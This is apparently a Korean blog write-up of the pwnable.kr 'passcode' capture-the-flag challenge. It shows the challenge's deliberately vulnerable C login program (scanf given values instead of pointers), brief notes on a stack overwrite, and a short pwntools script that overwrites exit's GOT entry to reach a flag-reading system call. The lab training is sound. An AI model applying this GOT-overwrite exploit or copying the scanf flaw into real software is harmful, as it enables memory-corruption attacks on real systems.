#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
compile 시 아래와 같은 오류가 발생한다.
그냥 원하는대로 password를 입력해주려니 13371337
을 입력할 때 sigenv 오류가 발생한다.
13371337이라는 값이 문제가 아니라 매개변수의 주소가 잘못되었다. scanf("%d") 꼴이므로, A
를 입력해주면 sigenv 오류가 발생하지 않는다.
return address를 bof가 일어날 곳이 보이지 않는다..system("/bin/cat flag")
의 주소로 바꿔주는 식으로 해보자.
name에 100자를 꽉 채워서 줘보니 passcode1까지 덮을 수 있다. 즉 원하는 주소에 값을 덮을 수 있다.
got overwrite로 해결
Exploit Code
from pwn import *
p=process('./passcode')
exit_got = 0x804a018
system = 0x80485e3
p.sendline('A'*96+p32(exit_got))
sleep(0.1)
p.sendline(str(system))
p.interactive()
Capture the Flag
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
unlink (0) | 2020.03.07 |
---|---|
Random (0) | 2020.03.07 |
mistake (0) | 2020.03.07 |
memcpy (0) | 2020.03.07 |
lotto (0) | 2020.03.07 |